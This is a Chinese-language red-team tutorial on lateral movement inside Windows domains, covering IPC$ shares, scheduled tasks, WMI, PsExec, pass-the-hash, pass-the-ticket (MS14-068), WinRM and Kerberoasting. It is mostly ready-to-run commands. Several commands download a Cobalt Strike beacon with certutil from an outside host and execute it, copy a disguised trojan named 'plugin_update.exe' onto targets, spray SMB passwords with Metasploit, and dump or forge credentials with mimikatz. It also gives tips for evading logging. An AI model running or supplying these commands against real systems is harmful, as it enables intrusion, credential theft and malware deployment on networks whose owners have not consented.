方法 IPC :IPC共享命名管道的资源,可以实现对远程计算机的访问,通过验证用户名和密码获得响应权限
使用工具:命令行net
命令
SMB 会话 :利用网络共享进行横向移动,通过 SMB 协议访问网络上的其他计算机。
使用工具:smbclient
, crackmapexec
。
Windows 远程管理协议(WMI) :通过 WMI 进行远程命令执行,横向渗透到目标机器。
使用工具:wmiexec.py
, PowerShell Remoting
。
密码喷洒 :爆破smb服务
使用工具:MSF
获取凭证 :攻击者可能会利用 Pass-the-Hash(PTH) 攻击、Pass-the-Ticket(PTT) 攻击等技术来获取其他系统的访问权限。
使用工具:mimikatz
, hashdump
, secretsdump.py
。
Kerberos 票据劫持 :通过获取或窃取 Kerberos 票据来访问其他机器或服务。
使用工具:Kerberos tickets
, Ticket Extraction
。
IPC 只有域管理员才能开启IPC默认共享,默认共享是为了方便管理员远程管理而默认开启的共享,所以创建和连接都必须在管理员权限下操作,如果不是管理员会报权限错误。除此以外,也可以使用目标主机本地Administrator
进行连接,但是该账户一般是停用的。
利用条件 1 2 3 1、目标机开启了139和445端口; 2、目标主机管理员开启了ipc$默认共享; 3、知道目标机的管理员账户密码。
基本连接 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 建立IPC连接命令: net use \\x.x.x.x\ipc$ "password" /user:"Administrator" #工作组 net use \server\ipc$ "password" /user:domain\username #域内 net use \192.168.4.2\ipc$ "Aa123456" /user:ysec\win10 查看连接是否建立 net use 查看目标主机的文件夹 dir \\x.x.x.x\c$ 查看目标主机的文件 type \\x.x.x.x\c$\1.txt 查看目标主机的共享 net view x.x.x.x 查看目标主机的时间 net time \\x.x.x.x 断开连接: net use \\x.x.x.x\ipc$ /del
报错代码解释 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 错误号 5,拒绝访问【很可能你使用的用户不是管理员权限的,先提升权限】 错误号 51,Windows 无法找到网络路径【网络有问题】 错误号 53,找不到网络路径【ip 地址错误;目标未开机;目标 lanmanserver 服务未启动;目标有防火墙(端口过滤)】 错误号 67,找不到网络名【你的 lanmanworkstation 服务未启动;目标删除了 ipc$;】 错误号 1219,提供的凭据与已存在的凭据集冲突【你已经和对方建立了一个ipc$,请删除后再连】 错误号 1326,未知的用户名或错误密码【原因很明显了】 错误号 1385,登录失败:未授予用户在此计算机上的请求登录类型 --- 情况1:可能是你在“拒绝从网络访问这台计算机”功能中拒绝了该用户的访问,解决方法如下: 开始-->运行-->gpedit.msc计算机配置-->Windows设置-->安全设置-->本地策略-->用户权利指派-->拒绝从网络访问这台计算机-->删除你要正常连接的用户 情况2: (1)网络访问为:经典 (2)来宾账户状态:已启用, (3)拒绝从网络访问这台计算机里有Guest用户或组 (4)你执行net use \\xxx.xxx.xxx.xxx\IPC$ "123456" /user:"xxx" 输入的用户名是随便输入的,这时也会遇到这个错误信息,因为当你连接的用户不存在时,net use会默认用Guest用户来进行连接,而Guest用户已拒绝从网络访问,所以也会出现这种错误 --- 错误号 1792,试图登录,但是网络登录服务没有启动【目标NetLogon服务未启动[连接域控会出现此情况]】 错误号 2242,此用户的密码已经过期【目标有帐号策略,强制定期要求更改密码】
利用 1 2 3 4 // 建立连接 net use \server\ipc$ "password" /user:domain\username // 上传木马 copy plugin_update.exe \\x.x.x.x\c$\windows\temp\plugin_update.exe
at < winserver2012 1 2 3 4 net time \\x.x.x.x at \\x.x.x.x 12:10 c:\windows\temp\plugin_update.exe // 推荐win08后都使用schtasks
schtasks >= winserver2012 1 2 3 4 5 6 7 8 9 10 11 创建计划任务 schtasks /create /tn "plugin_update" /tr c:\windows\temp\plugin_update.exe /sc once /st 22:58 /S 192.168.4.2 /RU System /u administrator /p "Aa123456" 立即执行计划任务 schtasks /run /tn "plugin_update" /S 192.168.1.1 /u administrator /p "Aa123456" 删除计划任务 schtasks /F /delete /tn "plugin_update" /S 192.168.1.1 /u administrator /p "Aa123456" 计划任务远程开启默认共享{注意查看目标主机时间} schtasks /create /tn "plugin_update" /tr "cmd /c net share c$=c:" /sc once /st 16:25 /S 192.168.1.1 /RU System /u administrator /p "Aa123456"
除此以外还有sc创建服务,参考https://cloud.tencent.com/developer/article/1691880
对于上述内容均使用命令实现,整体不方便,下面介绍工具的使用
Atexec 1 2 3 4 5 6 7 // 明文密码 python atexec.py .\administrator:Admin12345@192.168.3.21 "whoami" # 本地明文建立IPC连接并执行命令 python atexec.py ysec\administrator:Admin12345@192.168.3.21 "whoami" # 域内主机建立IPC连接并执行命令 // administrator hash python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami" #本地用户使用hash进行IPC连接 python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ysec/administrator@192.168.3.21 "whoami" #本地用户使用hash进行IPC连接
WMI
使用135端口,支持明文密码或者hash的方式进行认证,并且该方法不在日志留痕。
远程系统需要开启WMI服务开放135端口,wmic会以管理员权限在远程系统执行命令。
如果远程系统开启了防火墙,wmic将无法连接。
wmic无回显时,需要使用ipc$和type读取信息。使用wmic执行恶意程序不会留下日志。
利用条件和注意事项
目标防火墙已事先允许135、445端口连入,且本地杀软、EDR未拦截wmic.exe,cmd.exe等执行;
有些域账户只允许在指定的域内机器上才可登录,所以如果发现账密是对的,却会提示 “拒绝访问” ;
出现提示”无效句柄” 之类的错误,可尝试把目标ip换成机器名或者把机器名换成ip,ip或机器名用双引号包起来;
当提示 “RPC服务器不可用”时,有可能是目标防火墙导致135端口不通,或者目标系统没开135端口,要么就是被对方杀软或EDR拦截。
wmic 系统自带工具,执行过程有单模式执行和交互式执行,可以只执行命令或者反弹shell 单命令执行,执行结果不回显时可以上传木马执行,上线CS
1 2 3 4 5 // 下载木马 wmic /node:192.168.4.2 /user:administrator /password:Aa123456 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe" // 执行木马 wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe c:/beacon.exe"
使用模板如下,其中cmd.exe /c
表示执行完后关闭控制台面板,没有/c
表示保留界面
1 wmic /node:x.x.x.x /user:administrator /password:xx process call create "cmd.exe /c 命令"
命令执行写文件
1 2 wmic /node:191.168.52.136 /user:xxxx /password:xxxxx process call create "cmd.exe /c ipconfig > d:\result.txt" 无需上传第三方软件,利用系统内置程序,单命令执行,执行后无结果回显
cscript 利用系统内置命令,可获取交互式shell (无法在cs中使用,因运行成功后会一直进行反弹连接,导致卡bug) 需上传wmiexec.vbs
然后进入该服务器内进行执行。Wmiexec.vbs
脚本通过VBS
调用WMI
来模拟PsExec
功能。wmiexec.vbs
可以在远程系统中执行命令并进行回显,获得远程主机的半交互式shell
1 cscript //nologo wmiexec.vbs /shell 10.211.55.10 administrator admin!@#45
缺点:wmic和cscript都无法进行hash传递
wmiexecu 第三方软件 (交互式&单执行) 无法在cs中执行后回显
1 2 3 4 5 6 wmiexec ./administrator:admin!@#45@10.211.55.10 "whoami" wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@10.211.55.10 "whoami" // 上传木马上线 wmiexec ./administrator:admin!@#45@10.211.55.10 "cmd.exe /c certutil -urlcache -split -f http://10.211.55.7/beacon.exe c:/beacon.exe" wmiexec ./administrator:admin!@#45@10.211.55.10 "cmd.exe /c c:/beacon.exe"
缺点:第三方软件会被杀软查杀
SMB 利用smb服务可以通过明文或hash传递来远程执行
利用条件
psexec(官方) 下载:https://docs.microsoft.com/en-us/sysinternals/downloads/pstools
1 PsExec64.exe \\10.211.55.10 -u administrator -p admin!@#45 -s cmd
psexec(impacket套件) 可获取交互式shell使用工具为impacket套件,可使用hash传递
1 psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@10.211.55.10
cs中的psexecu
smbexec 交互式
1 2 3 4 smbexec ./administrator:admin!@#45@192.168.3.32 smbexec god/administrator:admin!@#45@192.168.3.32 smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 smbexec -hashes :518b98ad4178a53695dc997aa02d455c god/administrator@192.168.3.32smbexec -hashes god/administrator:518b98ad4178a53695dc997aa02d455c@192.168.3.32
密码喷洒 使用msf对smb服务进行密码爆破,任意暴露
1 2 3 4 5 6 use windows/smb/psexec msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/bind_tcp msf6 exploit(windows/smb/psexec) > set smbuser user.txt msf6 exploit(windows/smb/psexec) > set smbpass password.txt msf6 exploit(windows/smb/psexec) > set rhost 192.168.52.0/24 msf6 exploit(windows/smb/psexec) > run
PTH - 哈希传递 Paaa the hash也就是哈希传递,通过找到与账号相关的密码散列值 (通常是 NTLM Hash) 来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方法登录到内网主机的其他计算机。
利用条件 1 2 3 4 5 6 1、在工作组环境中: Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。 Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问 2、在域环境中: 只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器 如果要用普通域管理员账号进行哈希传递攻击,则需要修改修改目标机器的 LocalAccountTokenFilterPolicy为1
mimikatz+cs 使用cs的mimikatz进行pth,发现执行后在目标主机上弹出cmd窗口,可利用进程窃取,直接在cs上进行远程操作
1 2 3 4 mimikatz privilege::debug mimikatz sekurlsa::pth /user:administrator /domain:10.211.55.7 /ntlm:518b98ad4178a53695dc997aa02d455c steal_token 3420 dir \\10.211.55.7\c$
可以看到运行mimikatz之后会生成的cmd进程
利用cs进程劫持,劫持cmd进程,然后可发现成功执行目标机命令
之后可复制文件,创建启动服务命令上线CS
1 2 3 4 net use \\10.211.55.7\c$ copy beacon.exe \\10.211.55.7\c$ sc \\TALE2B52 create csshell binpath= "c:\beacon.exe" sc \\TALE2B52 start csshell
PTK - 密钥传递 即 Pass The Key ,当系统安装了 KB2871997 补丁且禁用了 NTLM 的时候,那我们抓取到的 ntlm hash. 也就失去了作用,但是可以通过 pass the key 的攻击方式获得权限。成功几率不是很高,利用条件苛刻。
利用条件 1 2 3 4 获取用户的aes key mimikatz sekurlsa::ekeys sekurlsa::pth /user:xxx /domain:xxx /aes256:xxxxxxxx" 成功后会返回一个cmd
PTT - 票据传递(ms14-068) pass the ticket
利用条件 1 2 3 4 5 1.域控没有打MS14-068的补丁(KB3011780) 2.拿下一台加入域的计算机 3.有这台域内计算机的域用户密码和Sid MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证.
利用过程 1 2 3 4 5 6 7 8 9 获取当前用户的SID值,并上传MS14-068漏洞利用文件,然后执行生成攻击域控主机的TGT凭据 shell whoami/user upload "F:\tq\MS14-068.exe" "C:\ms14-068.exe" shell /remotepath/ms14-068.exe -u user@ysec.com -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d DC的IP -p admin!@#45 或者 ms14-068.exe -u lisi@goksec.org -p goksec@2021 -s S-1-5-21-1797401017-738776913-2751391128-1106 -d DC.goksec.org
1 2 3 4 5 6 # 获取当前主机票证 shell klist # 然后清除票证 shell klist purge # 使用mimikatz将生成的票证导入到内存中,不需要上传mimikatz mimikatz kerberos::ptc TGT_webadmin@god.org.ccache
注:Kerberos认证协议中仅支持对计算机名进行认证,无法使用ip地址认证。 使用下面命令进行读取域控c盘
接着转发上线即可
1 2 3 4 5 shell net use \\OWA2010CN-GOD\C$ shell copy dcbeacon.exe \\OWA2010CN-GOD\C$ shell sc \\OWA2010CN-GOD create 1dcbindshell binpath= "C:\dcbeacon.exe" // 需要等服务创建完成 shell sc \\OWA2010CN-GOD start 1dcbindshell connect 域控IP
WINRM WinRM
代表 Windows 远程管理,是一种允许管理员远程执行系统管理任务的服务。默认情况下支持Kerberos
和 NTLM
身份验证以及基本身份验证。
利用条件 1 2 3 4 5 1、目标系统防火墙已事先允许5985(HTTP SOAP)或5986(HTTPS SOAP)端口连入(使用前先探测这两个端口) 2、双方都启用的Winrm rs的服务 3、使用此服务需要管理员级别凭据。 4、Windows2008以上版本默认自动状态,Windows Vista/win7上必须手动启动;Windows 2012之后的版本默认允许远程任意主机来管理。 5、目标系统本地杀软、EDR未拦截Winrs.exe、Powershell.exe,cmd.exe执行
利用 1 2 3 4 5 // 开启winrm服务 winrm quickconfig -q // 查看服务 powershell Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
1 2 3 4 5 6 7 8 9 10 // 设置信任 winrm set winrm/config/Client @{TrustedHosts="*"} // 连接执行命令 winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:admin!@#45 whoami // 上传 winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe" // 执行 winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c c:/beacon.exe"
Kerberoast SPN 攻击者从 TGS-REP 中提取加密的服务票证。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。
利用 使用普通域用户上线cs,通过setspn
扫描0day.org该域,通过该命令可以获取该域内主机名、角色、安装的服务等信息,进而可攻击拥有特定服务漏洞的机器
1 2 setspn -T 0day.org -q */* setspn -T 0day.org -q */* | findstr "MSSQL"
请求的Kerberos服务票证的加密类型默认无设置情况下为AES256_HMAC_SHA1,该加密方式无法破解 当管理员将加密类型改为RC4_HMAC_MD5时,意味着服务帐户的NTLM密码哈希用于加密服务票证,可以通过以下命令判断使用哪种加密类型
1 2 3 powershell Add-Type -AssemblyName System.IdentityModel powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/SqlServer.god.org:1433"
查看票证凭据发现当会话密钥类型为RC4_HMAC_MD5时,可进行票证导出破解
使用mimikatz导出票据
1 mimikatz "kerberos::list /export"
下载破解脚本加载密码字典进行离线破解,需查找最容易包含弱密码的票据
1 python tgsrepcrack.py pass.txt "1-40a00000-jack@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi"
或者使用服务票据改写密码
1 2 python kerberoast.py -p Admin12345 -r 0DAY.ORG1.kirbi -w 0DAY.ORG.kirbi -u 500 python kerberoast.py -p Admin12345 -r 0DAY.ORG1.kirbi -w 0DAY.ORG.kirbi -g 512
使用以下Mimikatz命令将新票据重新注入内存,以便通过Kerberos协议对目标服务执行身份验证。
1 kerberos::ptt 0DAY.ORG.kirbi